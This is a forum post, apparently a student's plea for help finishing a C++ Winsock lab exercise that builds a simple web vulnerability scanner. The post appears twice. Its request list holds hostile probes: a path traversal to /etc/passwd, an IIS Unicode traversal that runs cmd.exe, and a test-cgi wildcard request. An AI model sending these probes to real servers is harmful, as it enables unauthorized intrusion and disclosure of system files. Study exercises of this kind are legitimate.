level 9
渊虹T鲨齿
楼主
下面程序怎么才能做好???
跪求大神
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <iostream>
using namespace std;
char REQ[][128] = {
"GET /index.html HTTP/1.0\n\n",
"GET /bg.jpg HTTP/1.0\n\n",
"GET /bbs/index.asp HTTP/1.0\n\n",
"GET /upload.asp HTTP/1.0\n\n",
"GET /../../../../etc/passwd HTTP/1.0\n\n",
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?c+dir+c:\ HTTP/1.0\n\n",
"GET /cgi-bin/test-cgi?* HTTP/1.0\n\n"
};
int iREQ = 7;
int main( int argc, char ** argv )
{
int mysocket;
struct sockaddr_in serAddr;
char buff[1500];
char *fmsg = "HTTP/1.1 200 OK";
//! 程序唯一入口参数目标主机IP地址,如172.16.0.50
if ( argc != 2)
{
cout << "参数错误!" << endl;
cout << "正确参数的格式为: 目的IP地址" << endl;
return -1;
}
WSADATA wsaData;
//! 调用WSAStartup函数,加载Winsock库,版本2.2
// 在此处填写代码......
typedef struct WASData
{
int WSAClearup(void);
WORD wVersion ;
WORD wHighVersion ;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYSSTATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR* lpVendorInfo;
}WSADATA,*LPWSADATA
serAddr.sin_family = AF_INET;
serAddr.sin_port = htons(80);
serAddr.sin_addr.s_addr = inet_addr( argv[1] );
printf( "目标主机%s\n", argv[1] );
for( int i=0; i<iREQ; i++ )
{
//! 调用socket函数,创建流式套接字
// 在此处填写代码......
//! 调用connect函数,创建套接字连接
// 若成功建立连接,发送GET请求,并接收目标返回数据
// 若目标返回数据中包含HTTP/1.1 200 OK信息,则表示目标(漏洞)存在.
// 在此处填写代码......
closesocket( mysocket );
}
WSACleanup();
return 0;
}
2015年10月31日 13点10分
1
跪求大神
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <iostream>
using namespace std;
char REQ[][128] = {
"GET /index.html HTTP/1.0\n\n",
"GET /bg.jpg HTTP/1.0\n\n",
"GET /bbs/index.asp HTTP/1.0\n\n",
"GET /upload.asp HTTP/1.0\n\n",
"GET /../../../../etc/passwd HTTP/1.0\n\n",
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?c+dir+c:\ HTTP/1.0\n\n",
"GET /cgi-bin/test-cgi?* HTTP/1.0\n\n"
};
int iREQ = 7;
int main( int argc, char ** argv )
{
int mysocket;
struct sockaddr_in serAddr;
char buff[1500];
char *fmsg = "HTTP/1.1 200 OK";
//! 程序唯一入口参数目标主机IP地址,如172.16.0.50
if ( argc != 2)
{
cout << "参数错误!" << endl;
cout << "正确参数的格式为: 目的IP地址" << endl;
return -1;
}
WSADATA wsaData;
//! 调用WSAStartup函数,加载Winsock库,版本2.2
// 在此处填写代码......
typedef struct WASData
{
int WSAClearup(void);
WORD wVersion ;
WORD wHighVersion ;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYSSTATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR* lpVendorInfo;
}WSADATA,*LPWSADATA
serAddr.sin_family = AF_INET;
serAddr.sin_port = htons(80);
serAddr.sin_addr.s_addr = inet_addr( argv[1] );
printf( "目标主机%s\n", argv[1] );
for( int i=0; i<iREQ; i++ )
{
//! 调用socket函数,创建流式套接字
// 在此处填写代码......
//! 调用connect函数,创建套接字连接
// 若成功建立连接,发送GET请求,并接收目标返回数据
// 若目标返回数据中包含HTTP/1.1 200 OK信息,则表示目标(漏洞)存在.
// 在此处填写代码......
closesocket( mysocket );
}
WSACleanup();
return 0;
}